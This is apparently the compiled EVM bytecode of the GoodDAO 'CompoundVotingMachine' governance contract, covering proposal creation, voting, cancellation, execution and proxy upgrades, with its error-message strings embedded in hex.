0x6080604052600436106101e15760003560e01c8063013cf08b146101e657806302a251a3146102cc57806304e3b9b8146102f057806306fdde03146103285780630944db161461037757806315373e3d1461039757806317977c61146103b95780631b3c90a8146103e65780631dc5a19c146103fb57806320606b701461041b57806324bc1a641461043d578063328dd982146104525780633408e47014610482578063347a63c8146104955780633659cfe6146104b55780633932abb1146104d55780633e4f49e6146104eb5780633e6326fc1461051857806340e58ee5146105455780634162169f14610565578063452a9320146105855780634634c61f146105a55780634f1ef286146105c55780635aef7de6146105d85780635c9e1382146105f85780637629a4ac1461060e5780637bdbe4d01461062e5780638a0dac4a146106445780638b5d4b2c14610664578063a06db7dc1461067a578063a840c93d14610690578063acb0fa59146106a6578063ccc07959146106bc578063cd6dc687146106dc578063d2895d16146106fc578063da35c66414610712578063da95691a14610728578063deaaa7cc14610748578063e1758bd81461076a578063e23a9a521461077f578063e9946f6c14610836578063fe0d94c11461084b575b600080fd5b3480156101f257600080fd5b50610268610201366004613450565b60d9602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b880154600d890154600e9099015497986001600160a01b03909716979596949593949293919260ff8083169361010090930416918b565b604080519b8c526001600160a01b03909a1660208c0152988a01979097526060890195909552608088019390935260a087019190915260c0860152151560e08501521515610100840152610120830152610140820152610160015b60405180910390f35b3480156102d857600080fd5b506102e260cd5481565b6040519081526020016102c3565b3480156102fc57600080fd5b5060cc54610310906001600160401b031681565b6040516001600160401b0390911681526020016102c3565b34801561033457600080fd5b5061036a60405180604001604052806016815260200175476f6f6444414f20566f74696e67204d616368696e6560501b81525081565b6040516102c391906134c1565b34801561038357600080fd5b506102e2610392366004613797565b61085e565b3480156103a357600080fd5b506103b76103b236600461387e565b610dd2565b005b3480156103c557600080fd5b506102e26103d43660046138ae565b60da6020526000908152604090205481565b3480156103f257600080fd5b506103b7610e7e565b34801561040757600080fd5b506103b76104163660046138cb565b610fc3565b34801561042757600080fd5b506102e260008051602061420a83398151915281565b34801561044957600080fd5b506102e2610ffd565b34801561045e57600080fd5b5061047261046d366004613450565b6110a5565b6040516102c394939291906139bf565b34801561048e57600080fd5b50466102e2565b3480156104a157600080fd5b506103b76104b0366004613450565b611336565b3480156104c157600080fd5b506103b76104d03660046138ae565b611458565b3480156104e157600080fd5b506102e260d15481565b3480156104f757600080fd5b5061050b610506366004613450565b61151e565b6040516102c39190613a2d565b34801561052457600080fd5b50609954610538906001600160a01b031681565b6040516102c39190613a55565b34801561055157600080fd5b506103b7610560366004613450565b6116a2565b34801561057157600080fd5b50609754610538906001600160a01b031681565b34801561059157600080fd5b5060d754610538906001600160a01b031681565b3480156105b157600080fd5b506103b76105c0366004613a69565b6118c1565b6103b76105d3366004613ac1565b611b5a565b3480156105e457600080fd5b50609854610538906001600160a01b031681565b34801561060457600080fd5b506102e260ce5481565b34801561061a57600080fd5b506102e2610629366004613450565b611c14565b34801561063a57600080fd5b506102e260d05481565b34801561065057600080fd5b506103b761065f3660046138ae565b611cb7565b34801561067057600080fd5b506102e260d25481565b34801561068657600080fd5b506102e260d55481565b34801561069c57600080fd5b506102e260cf5481565b3480156106b257600080fd5b506102e260d35481565b3480156106c857600080fd5b5060d654610538906001600160a01b031681565b3480156106e857600080fd5b506103b76106f7366004613b10565b611e2c565b34801561070857600080fd5b506102e260d45481565b34801561071e57600080fd5b506102e260d85481565b34801561073457600080fd5b506102e2610743366004613b3c565b612020565b34801561075457600080fd5b506102e260008051602061428a83398151915281565b34801561077657600080fd5b5061053861203a565b34801561078b57600080fd5b5061081061079a366004613c0d565b604080516060810182526000808252602082018190529181019190915250600091825260d9602090815260408084206001600160a01b03939093168452600c9092018152918190208151606081018352815460ff8082161515835261010090910416151593810193909352600101549082015290565b6040805182511515815260208084015115159082015291810151908201526060016102c3565b34801561084257600080fd5b506103b76120d1565b6103b7610859366004613450565b612189565b600061086e610629600143613c48565b60d6546001600160a01b031663a265ba4633600161088c8143613c48565b6040518463ffffffff1660e01b81526004016108aa93929190613c5f565b60206040518083038186803b1580156108c257600080fd5b505afa1580156108d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fa9190613c80565b116109705760405162461bcd60e51b815260206004820152604760248201526000805160206142f183398151915260448201527f70726f706f73657220766f7465732062656c6f772070726f706f73616c2074686064820152661c995cda1bdb1960ca1b608482015260a4015b60405180910390fd5b85518751148015610982575084518751145b801561098f575083518751145b610a045760405162461bcd60e51b815260206004820152604c60248201526000805160206142f183398151915260448201527f70726f706f73616c2066756e6374696f6e20696e666f726d6174696f6e20617260648201526b0d2e8f240dad2e6dac2e8c6d60a31b608482015260a401610967565b8651610a5d5760405162461bcd60e51b815260206004820152603460248201526000805160206142f18339815191526044820152736d7573742070726f7669646520616374696f6e7360601b6064820152608401610967565b60d05487511115610ab75760405162461bcd60e51b815260206004820152603060248201526000805160206142f183398151915260448201526f746f6f206d616e7920616374696f6e7360801b6064820152608401610967565b33600090815260da60205260409020548015610c18576000610ad88261151e565b90506001816007811115610aee57610aee613a17565b14158015610b0e57506002816007811115610b0b57610b0b613a17565b14155b610b825760405162461bcd60e51b815260206004820152606060248201526000805160206142f1833981519152604482015260008051602061431183398151915260648201527f666f756e6420616e20616c7265616479206163746976652070726f706f73616c608482015260a401610967565b6000816007811115610b9657610b96613a17565b1415610c165760405162461bcd60e51b815260206004820152606160248201526000805160206142f1833981519152604482015260008051602061431183398151915260648201527f666f756e6420616e20616c72656164792070656e64696e672070726f706f73616084820152601b60fa1b60a482015260c401610967565b505b600060d15443610c289190613c99565b9050600060cd5482610c3a9190613c99565b60d880549192506000610c4c83613cb1565b909155505060d854600081815260d96020908152604082209283556001830180546001600160a01b0319163317905560028301919091558b51610c97916003840191908e0190613202565b508951610cad90600483019060208d0190613267565b508851610cc390600583019060208c01906132a2565b508751610cd990600683019060208b01906132fb565b506007810183905560088101829055600060098201819055600a820155600b8101805461ffff19169055610d0b610ffd565b600d820155600e8101869055805460018201546001600160a01b0316600090815260da602052604090208190557f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e090338d8d8d8d89898f604051610d7799989796959493929190613ccc565b60405180910390a1854614610dc357857f93f05b7f92e65fef7a2a62683de78a4230ca5ec425170818561a02b6afcff28b60d854604051610dba91815260200190565b60405180910390a25b549a9950505050505050505050565b600082815260d96020526040812060d6549091906001600160a01b031663a265ba4633600185600701546040518463ffffffff1660e01b8152600401610e1a93929190613c5f565b60206040518083038186803b158015610e3257600080fd5b505afa158015610e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6a9190613c80565b9050610e783383858461265b565b50505050565b60995460405163bf40fac160e01b815260206004820152600a60248201526921a7a72a2927a62622a960b11b60448201526001600160a01b039091169063bf40fac19060640160206040518083038186803b158015610edc57600080fd5b505afa158015610ef0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f149190613d64565b609780546001600160a01b0319166001600160a01b0392909216918217905560408051632d77bef360e11b81529051635aef7de691600480820192602092909190829003018186803b158015610f6957600080fd5b505afa158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa19190613d64565b609880546001600160a01b0319166001600160a01b0392909216919091179055565b610fcb61286d565b60408051610120818101909252610ffa9183906009908390839080828437600092019190915250612941915050565b50565b6000620f424060ce5460d660009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561105457600080fd5b505afa158015611068573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108c9190613c80565b6110969190613d81565b6110a09190613da0565b905090565b606080606080600060d960008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561112757602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611109575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561117957602002820191906000526020600020905b815481526020019060010190808311611165575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561124d5783829060005260206000200180546111c090613dc2565b80601f01602080910402602001604051908101604052809291908181526020018280546111ec90613dc2565b80156112395780601f1061120e57610100808354040283529160200191611239565b820191906000526020600020905b81548152906001019060200180831161121c57829003601f168201915b5050505050815260200190600101906111a1565b50505050915080805480602002602001604051908101604052809291908181526020016000905b8282101561132057838290600052602060002001805461129390613dc2565b80601f01602080910402602001604051908101604052809291908181526020018280546112bf90613dc2565b801561130c5780601f106112e15761010080835404028352916020019161130c565b820191906000526020600020905b8154815290600101906020018083116112ef57829003601f168201915b505050505081526020019060010190611274565b5050505090509450945094509450509193509193565b60056113418261151e565b600781111561135257611352613a17565b146113ab5760405162461bcd60e51b8152602060048201526024808201527f436f6d706f756e64566f74696e674d616368696e653a206e6f742053756363656044820152631959195960e21b6064820152608401610967565b600081815260d9602052604090204681600e0154146113d657600b8101805461ff0019166101001790555b600181015460078201546008830154600e84015460028501546009860154600a8701546040517fa5369bfba6e8a577af7ee34ae49c68529b2c8914a2561282f16e3a706cb4333c9761144c978b976001600160a01b039092169660038c019660048d019660058e019660068f0196949594613f0e565b60405180910390a15050565b306001600160a01b037f000000000000000000000000f26e4736e004a42579f54a27f22096edb8f76bfc1614156114a15760405162461bcd60e51b815260040161096790613fe3565b7f000000000000000000000000f26e4736e004a42579f54a27f22096edb8f76bfc6001600160a01b03166114d3612af3565b6001600160a01b0316146114f95760405162461bcd60e51b81526004016109679061401d565b61150281612b0f565b60408051600080825260208201909252610ffa91839190612b17565b60008160d854101580156115325750600082115b6115985760405162461bcd60e51b815260206004820152603160248201527f436f6d706f756e64566f74696e674d616368696e653a3a73746174653a20696e6044820152701d985b1a59081c1c9bdc1bdcd85b081a59607a1b6064820152608401610967565b600082815260d960205260409020600b81015460ff16156115bc5750600392915050565b806007015443116115d05750600092915050565b600b810154610100900460ff16156115eb5750600792915050565b600081600201541180156116025750806002015442105b156116105750600292915050565b6002810154158015611626575080600801544311155b156116345750600192915050565b80600a01548160090154111580611652575080600d01548160090154105b156116605750600492915050565b60008160020154118015611685575060d55481600201546116819190613c99565b4210155b156116935750600692915050565b50600592915050565b50919050565b60006116ad8261151e565b905060078160078111156116c3576116c3613a17565b14156117375760405162461bcd60e51b815260206004820152603e60248201527f436f6d706f756e64566f74696e674d616368696e653a3a63616e63656c3a206360448201527f616e6e6f742063616e63656c2065786563757465642070726f706f73616c00006064820152608401610967565b600082815260d96020526040902060d7546001600160a01b0316336001600160a01b03161480611807575061176f8160070154611c14565b60d6546001838101546001600160a01b039283169263a265ba46929116906117978143613c48565b6040518463ffffffff1660e01b81526004016117b593929190613c5f565b60206040518083038186803b1580156117cd57600080fd5b505afa1580156117e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118059190613c80565b105b6118735760405162461bcd60e51b815260206004820152603760248201527f436f6d706f756e64566f74696e674d616368696e653a3a63616e63656c3a20706044820152761c9bdc1bdcd95c8818589bdd99481d1a1c995cda1bdb19604a1b6064820152608401610967565b600b8101805460ff191660011790556040517f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c906118b49085815260200190565b60405180910390a1505050565b6040805180820182526016815275476f6f6444414f20566f74696e67204d616368696e6560501b602091820152815160008051602061420a833981519152818301527ff0e8bb1b9036884fc34b9b811b9c0948f4a374ea4f5429d4533b8ab3c9fa373481840152466060820152306080808301919091528351808303909101815260a08201845280519083012060008051602061428a83398151915260c083015260e08201899052871515610100808401919091528451808403909101815261012083019094528351939092019290922061190160f01b6101408401526101428301829052610162830181905290916000906101820160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611a22573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116611aa55760405162461bcd60e51b815260206004820152603760248201527f436f6d706f756e64566f74696e674d616368696e653a3a63617374566f746542604482015276795369673a20696e76616c6964207369676e617475726560481b6064820152608401610967565b600089815260d9602052604080822060d65460078201549251635132dd2360e11b81529193926001600160a01b039091169163a265ba4691611aee918791600191600401613c5f565b60206040518083038186803b158015611b0657600080fd5b505afa158015611b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3e9190613c80565b9050611b4c83838c8461265b565b5050505050505b5050505050565b306001600160a01b037f000000000000000000000000f26e4736e004a42579f54a27f22096edb8f76bfc161415611ba35760405162461bcd60e51b815260040161096790613fe3565b7f000000000000000000000000f26e4736e004a42579f54a27f22096edb8f76bfc6001600160a01b0316611bd5612af3565b6001600160a01b031614611bfb5760405162461bcd60e51b81526004016109679061401d565b611c0482612b0f565b611c1082826001612b17565b5050565b60cf5460d654604051630981b24d60e41b815260048101849052600092620f42409290916001600160a01b039091169063981b24d09060240160206040518083038186803b158015611c6557600080fd5b505afa158015611c79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9d9190613c80565b611ca79190613d81565b611cb19190613da0565b92915050565b6098546001600160a01b0316336001600160a01b03161480611cec575060d7546001600160a01b0316336001600160a01b0316145b611d4e5760405162461bcd60e51b815260206004820152602d60248201527f436f6d706f756e64566f74696e674d616368696e653a206e6f7420617661746160448201526c391037b91033bab0b93234b0b760991b6064820152608401610967565b60d7546001600160a01b0316336001600160a01b03161480611d7a575060cc546001600160401b031642115b611de75760405162461bcd60e51b815260206004820152603860248201527f436f6d706f756e64566f74696e674d616368696e653a20666f756e646174696f6044820152771b88195e1c1a5c985d1a5bdb881b9bdd081c995858da195960421b6064820152608401610967565b60d780546001600160a01b0319166001600160a01b0383169081179091556040516000805160206142aa83398151915291611e2191613a55565b60405180910390a150565b600054610100900460ff1680611e45575060005460ff16155b611ea85760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610967565b600054610100900460ff16158015611eca576000805461ffff19166101011790555b60cc80546001600160401b0319166363b0cd00179055611ee983612c57565b60405163bf40fac160e01b815260206004820152600a6024820152692922a82aaa20aa24a7a760b11b60448201526001600160a01b0384169063bf40fac19060640160206040518083038186803b158015611f4357600080fd5b505afa158015611f57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f7b9190613d64565b60d680546001600160a01b0319166001600160a01b0392909216919091179055604080516101208101825283815261753060208201526109c491810191909152600a6060820152600160808201526202a30060a0820152612a3060c08201526201518060e08201526203f480610100820152611ff681612941565b5060d780546001600160a01b03191633179055801561201b576000805461ff00191690555b505050565b600061203086868686864661085e565b9695505050505050565b60995460405163bf40fac160e01b815260206004820152600a60248201526923a7a7a22227a62620a960b11b60448201526000916001600160a01b03169063bf40fac19060640160206040518083038186803b15801561209957600080fd5b505afa1580156120ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a09190613d64565b60d7546001600160a01b0316336001600160a01b0316146121405760405162461bcd60e51b815260206004820152602360248201527f436f6d706f756e64566f74696e674d616368696e653a206e6f7420677561726460448201526234b0b760e91b6064820152608401610967565b60d780546001600160a01b031916905560cc80546001600160401b03191690556040516000805160206142aa8339815191529061217f90600090613a55565b60405180910390a1565b60056121948261151e565b60078111156121a5576121a5613a17565b1461221f5760405162461bcd60e51b8152602060048201526050602482015260008051602061426a83398151915260448201527f70726f706f73616c2063616e206f6e6c7920626520657865637574656420696660648201526f081a5d081a5cc81cdd58d8d95959195960821b608482015260a401610967565b46600082815260d960205260409020600e0154146122935760405162461bcd60e51b815260206004820152603d602482015260008051602061426a83398151915260448201527f70726f706f73616c20666f722077726f6e6720626c6f636b636861696e0000006064820152608401610967565b600081815260d960209081526040808320600b8101805461ff0019166101001790556003018054825181850281018501909352808352919290919083018282801561230757602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116122e9575b50505050509050600060d9600084815260200190815260200160002060040180548060200260200160405190810160405280929190818152602001828054801561237057602002820191906000526020600020905b81548152602001906001019080831161235c575b50505050509050600060d96000858152602001908152602001600020600501805480602002602001604051908101604052809291908181526020016000905b8282101561245b5783829060005260206000200180546123ce90613dc2565b80601f01602080910402602001604051908101604052809291908181526020018280546123fa90613dc2565b80156124475780601f1061241c57610100808354040283529160200191612447565b820191906000526020600020905b81548152906001019060200180831161242a57829003601f168201915b5050505050815260200190600101906123af565b505050509050600060d96000868152602001908152602001600020600601805480602002602001604051908101604052809291908181526020016000905b828210156125455783829060005260206000200180546124b890613dc2565b80601f01602080910402602001604051908101604052809291908181526020018280546124e490613dc2565b80156125315780601f1061250657610100808354040283529160200191612531565b820191906000526020600020905b81548152906001019060200180831161251457829003601f168201915b505050505081526020019060010190612499565b50505050905060005b8451811015612620576000806125ca87848151811061256f5761256f614057565b602002602001015187858151811061258957612589614057565b60200260200101518786815181106125a3576125a3614057565b60200260200101518787815181106125bd576125bd614057565b6020026020010151612c7a565b915091507f7ee6f70307f5df49af1cdc334b322bc2ff99ae186134a468bf77618a2ce2ff0488848484604051612603949392919061406d565b60405180910390a15050808061261890613cb1565b91505061254e565b506040518581527f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f9060200160405180910390a15050505050565b825460016126688261151e565b600781111561267957612679613a17565b148061269e5750600261268b8261151e565b600781111561269c5761269c613a17565b145b6126f35760405162461bcd60e51b815260206004820152603260248201526000805160206143318339815191526044820152710e881d9bdd1a5b99c81a5cc818db1bdcd95960721b6064820152608401610967565b6001600160a01b0385166000908152600c850160205260409020805460ff161561276b5760405162461bcd60e51b815260206004820152603560248201526000805160206143318339815191526044820152740e881d9bdd195c88185b1c9958591e481d9bdd1959605a1b6064820152608401610967565b600a850154600986015411841561279b57838660090160008282546127909190613c99565b909155506127b59050565b8386600a0160008282546127af9190613c99565b90915550505b600a86015460098701805484548815156101000261ffff1990911617600190811786558501879055600d89015491549315159210919091141591101580612804575085600d015486600a015410155b15612813576128138682612ea9565b604080516001600160a01b038916815260208101859052861515818301526060810186905290517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c469181900360800190a150505050505050565b60975460408051632d77bef360e11b8152905133926001600160a01b031691635aef7de6916004808301926020929190829003018186803b1580156128b157600080fd5b505afa1580156128c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128e99190613d64565b6001600160a01b03161461293f5760405162461bcd60e51b815260206004820181905260248201527f6f6e6c79206176617461722063616e2063616c6c2074686973206d6574686f646044820152606401610967565b565b60ce541580612961575060ce54612959906002613d81565b602082015111155b801561297357506020810151620f4240115b61298f5760405162461bcd60e51b815260040161096790614094565b60cf5415806129af575060cf546129a7906002613d81565b604082015111155b80156129c157506040810151620f4240115b6129dd5760405162461bcd60e51b815260040161096790614094565b80516129eb5760cd546129ee565b80515b60cd556020810151612a025760ce54612a08565b60208101515b60ce556040810151612a1c5760cf54612a22565b60408101515b60cf556060810151612a365760d054612a3c565b60608101515b60d0556080810151612a505760d154612a56565b60808101515b60d15560a0810151612a6a5760d254612a70565b60a08101515b60d25560c0810151612a845760d354612a8a565b60c08101515b60d35560e0810151612a9e5760d454612aa4565b60e08101515b60d455610100810151612ab95760d554612ac0565b6101008101515b60d5556040517f51472f0134408629271bc25caae248dd940cd836aa7bbc3974aa1ec2978059b590611e219083906140ca565b60008051602061424a833981519152546001600160a01b031690565b610ffa61286d565b6000612b21612af3565b9050612b2c84613004565b600083511180612b395750815b15612b4a57612b488484613097565b505b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143805460ff16611b5357805460ff19166001178155604051612bc5908690612b96908590602401613a55565b60408051601f198184030181529190526020810180516001600160e01b0316631b2ce7f360e11b179052613097565b50805460ff19168155612bd6612af3565b6001600160a01b0316826001600160a01b031614612c4e5760405162461bcd60e51b815260206004820152602f60248201527f45524331393637557067726164653a207570677261646520627265616b73206660448201526e75727468657220757067726164657360881b6064820152608401610967565b611b5385613182565b609980546001600160a01b0319166001600160a01b038316179055610ffa610e7e565b6000606080845160001415612c90575082612cbc565b848051906020012084604051602001612caa9291906140fc565b60405160208183030381529060405290505b6097546000906060906001600160a01b038a811691161415612d3e57886001600160a01b03168884604051612cf1919061412d565b60006040518083038185875af1925050503d8060008114612d2e576040519150601f19603f3d011682016040523d82523d6000602084013e612d33565b606091505b509092509050612e15565b8715612d80576098546040516001600160a01b039091169089156108fc02908a906000818181858888f19350505050158015612d7e573d6000803e3d6000fd5b505b6097546098546040516368db844d60e11b81526001600160a01b039283169263d1b7089a92612db9928e92899216908e90600401614149565b600060405180830381600087803b158015612dd357600080fd5b505af1158015612de7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612e0f919081019061417d565b90925090505b81612e9b5760405162461bcd60e51b815260206004820152604a60248201527f436f6d706f756e64566f74696e674d616368696e653a3a65786563757465547260448201527f616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e606482015269103932bb32b93a32b21760b11b608482015260a401610967565b909890975095505050505050565b60d6546007830154604051630981b24d60e41b815260048101919091526002916001600160a01b03169063981b24d09060240160206040518083038186803b158015612ef457600080fd5b505afa158015612f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f2c9190613c80565b612f369190613da0565b82600901541115612f585760d354612f4e9042613c99565b6002830155612fc6565b6002820154612f6e5760d254612f4e9042613c99565b8015611c10576000428360020154612f869190613c48565b905060d4548111612fa4578060d454612f9f9190613c48565b612fa7565b60005b836002016000828254612fba9190613c99565b90915550612fc6915050565b815460028301546040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28929261144c92908252602082015260400190565b803b6130685760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610967565b60008051602061424a83398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6060823b6130f65760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610967565b600080846001600160a01b031684604051613111919061412d565b600060405180830381855af49150503d806000811461314c576040519150601f19603f3d011682016040523d82523d6000602084013e613151565b606091505b509150915061317982826040518060600160405280602781526020016142ca602791396131c2565b95945050505050565b61318b81613004565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606083156131d15750816131fb565b8251156131e15782518084602001fd5b8160405162461bcd60e51b815260040161096791906134c1565b9392505050565b828054828255906000526020600020908101928215613257579160200282015b8281111561325757825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190613222565b50613263929150613354565b5090565b828054828255906000526020600020908101928215613257579160200282015b82811115613257578251825591602001919060010190613287565b8280548282559060005260206000209081019282156132ef579160200282015b828111156132ef57825180516132df918491602090910190613369565b50916020019190600101906132c2565b506132639291506133dc565b828054828255906000526020600020908101928215613348579160200282015b828111156133485782518051613338918491602090910190613369565b509160200191906001019061331b565b506132639291506133f9565b5b808211156132635760008155600101613355565b82805461337590613dc2565b90600052602060002090601f0160209004810192826133975760008555613257565b82601f106133b057805160ff1916838001178555613257565b828001600101855582156132575791820182811115613257578251825591602001919060010190613287565b808211156132635760006133f08282613416565b506001016133dc565b8082111561326357600061340d8282613416565b506001016133f9565b50805461342290613dc2565b6000825580601f10613432575050565b601f016020900490600052602060002090810190610ffa9190613354565b60006020828403121561346257600080fd5b5035919050565b60005b8381101561348457818101518382015260200161346c565b83811115610e785750506000910152565b600081518084526134ad816020860160208601613469565b601f01601f19169290920160200192915050565b6020815260006131fb6020830184613495565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b0381118282101715613512576135126134d4565b604052919050565b60006001600160401b03821115613533576135336134d4565b5060051b60200190565b6001600160a01b0381168114610ffa57600080fd5b600082601f83011261356357600080fd5b813560206135786135738361351a565b6134ea565b82815260059290921b8401810191818101908684111561359757600080fd5b8286015b848110156135bb5780356135ae8161353d565b835291830191830161359b565b509695505050505050565b600082601f8301126135d757600080fd5b813560206135e76135738361351a565b82815260059290921b8401810191818101908684111561360657600080fd5b8286015b848110156135bb578035835291830191830161360a565b60006001600160401b0382111561363a5761363a6134d4565b50601f01601f191660200190565b600082601f83011261365957600080fd5b813561366761357382613621565b81815284602083860101111561367c57600080fd5b816020850160208301376000918101602001919091529392505050565b600082601f8301126136aa57600080fd5b813560206136ba6135738361351a565b82815260059290921b840181019181810190868411156136d957600080fd5b8286015b848110156135bb5780356001600160401b038111156136fc5760008081fd5b61370a8986838b0101613648565b8452509183019183016136dd565b600082601f83011261372957600080fd5b813560206137396135738361351a565b82815260059290921b8401810191818101908684111561375857600080fd5b8286015b848110156135bb5780356001600160401b0381111561377b5760008081fd5b6137898986838b0101613648565b84525091830191830161375c565b60008060008060008060c087890312156137b057600080fd5b86356001600160401b03808211156137c757600080fd5b6137d38a838b01613552565b975060208901359150808211156137e957600080fd5b6137f58a838b016135c6565b9650604089013591508082111561380b57600080fd5b6138178a838b01613699565b9550606089013591508082111561382d57600080fd5b6138398a838b01613718565b9450608089013591508082111561384f57600080fd5b5061385c89828a01613648565b92505060a087013590509295509295509295565b8015158114610ffa57600080fd5b6000806040838503121561389157600080fd5b8235915060208301356138a381613870565b809150509250929050565b6000602082840312156138c057600080fd5b81356131fb8161353d565b60006101208083850312156138df57600080fd5b8381840111156138ee57600080fd5b509092915050565b600081518084526020808501945080840160005b8381101561392f5781516001600160a01b03168752958201959082019060010161390a565b509495945050505050565b600081518084526020808501945080840160005b8381101561392f5781518752958201959082019060010161394e565b600081518084526020808501808196508360051b8101915082860160005b858110156139b25782840389526139a0848351613495565b98850198935090840190600101613988565b5091979650505050505050565b6080815260006139d260808301876138f6565b82810360208401526139e4818761393a565b905082810360408401526139f8818661396a565b90508281036060840152613a0c818561396a565b979650505050505050565b634e487b7160e01b600052602160045260246000fd5b6020810160088310613a4f57634e487b7160e01b600052602160045260246000fd5b91905290565b6001600160a01b0391909116815260200190565b600080600080600060a08688031215613a8157600080fd5b853594506020860135613a9381613870565b9350604086013560ff81168114613aa957600080fd5b94979396509394606081013594506080013592915050565b60008060408385031215613ad457600080fd5b8235613adf8161353d565b915060208301356001600160401b03811115613afa57600080fd5b613b0685828601613648565b9150509250929050565b60008060408385031215613b2357600080fd5b8235613b2e8161353d565b946020939093013593505050565b600080600080600060a08688031215613b5457600080fd5b85356001600160401b0380821115613b6b57600080fd5b613b7789838a01613552565b96506020880135915080821115613b8d57600080fd5b613b9989838a016135c6565b95506040880135915080821115613baf57600080fd5b613bbb89838a01613699565b94506060880135915080821115613bd157600080fd5b613bdd89838a01613718565b93506080880135915080821115613bf357600080fd5b50613c0088828901613648565b9150509295509295909350565b60008060408385031215613c2057600080fd5b8235915060208301356138a38161353d565b634e487b7160e01b600052601160045260246000fd5b600082821015613c5a57613c5a613c32565b500390565b6001600160a01b039390931683529015156020830152604082015260600190565b600060208284031215613c9257600080fd5b5051919050565b60008219821115613cac57613cac613c32565b500190565b6000600019821415613cc557613cc5613c32565b5060010190565b8981526001600160a01b038916602082015261012060408201819052600090613cf78382018b6138f6565b90508281036060840152613d0b818a61393a565b90508281036080840152613d1f818961396a565b905082810360a0840152613d33818861396a565b90508560c08401528460e0840152828103610100840152613d548185613495565b9c9b505050505050505050505050565b600060208284031215613d7657600080fd5b81516131fb8161353d565b6000816000190483118215151615613d9b57613d9b613c32565b500290565b600082613dbd57634e487b7160e01b600052601260045260246000fd5b500490565b600181811c90821680613dd657607f821691505b6020821081141561169c57634e487b7160e01b600052602260045260246000fd5b6000815480845260208085019450836000528060002060005b8381101561392f57815487529582019560019182019101613e10565b600081548084526020808501808196508360051b810191506000868152838120815b86811015613f00578385038a5281548390600181811c9080831680613e7457607f831692505b8a8310811415613e9257634e487b7160e01b88526022600452602488fd5b828a52808015613ea95760018114613ebd57613ee8565b60ff1985168b8d015260408b019550613ee8565b8789528b8920895b85811015613ee05781548d82018f0152908401908d01613ec5565b8c018d019650505b50509c89019c92975050509190910190600101613e4e565b509298975050505050505050565b600061018082018e835260018060a01b03808f1660208501526101806040850152818e548084526101a0860191508f6000526020600020935060005b81811015613f6a5784548416835260019485019460209093019201613f4a565b50508481036060860152613f7e818f613df7565b925050508281036080840152613f94818c613e2c565b905082810360a0840152613fa8818b613e2c565b60c0840199909952505060e0810195909552610100850193909352610120840191909152610140830152610160909101529695505050505050565b6020808252602c9082015260008051602061422a83398151915260408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c9082015260008051602061422a83398151915260408201526b6163746976652070726f787960a01b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b84815283602082015282151560408201526080606082015260006120306080830184613495565b6020808252601c908201527b70657263656e746167652073686f756c64206e6f7420646f75626c6560201b604082015260600190565b6101208101818360005b60098110156140f35781518352602092830192909101906001016140d4565b50505092915050565b6001600160e01b031983168152815160009061411f816004850160208701613469565b919091016004019392505050565b6000825161413f818460208701613469565b9190910192915050565b600060018060a01b0380871683526080602084015261416b6080840187613495565b94166040830152506060015292915050565b6000806040838503121561419057600080fd5b825161419b81613870565b60208401519092506001600160401b038111156141b757600080fd5b8301601f810185136141c857600080fd5b80516141d661357382613621565b8181528660208385010111156141eb57600080fd5b6141fc826020830160208601613469565b809350505050925092905056fe8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86646756e6374696f6e206d7573742062652063616c6c6564207468726f75676820360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc436f6d706f756e64566f74696e674d616368696e653a3a657865637574653a208e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916eee6c09ffe4572dc9ceaa5ddde4ae41befa655d6fdfe8052077af0970f700e942e416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564436f6d706f756e64566f74696e674d616368696e653a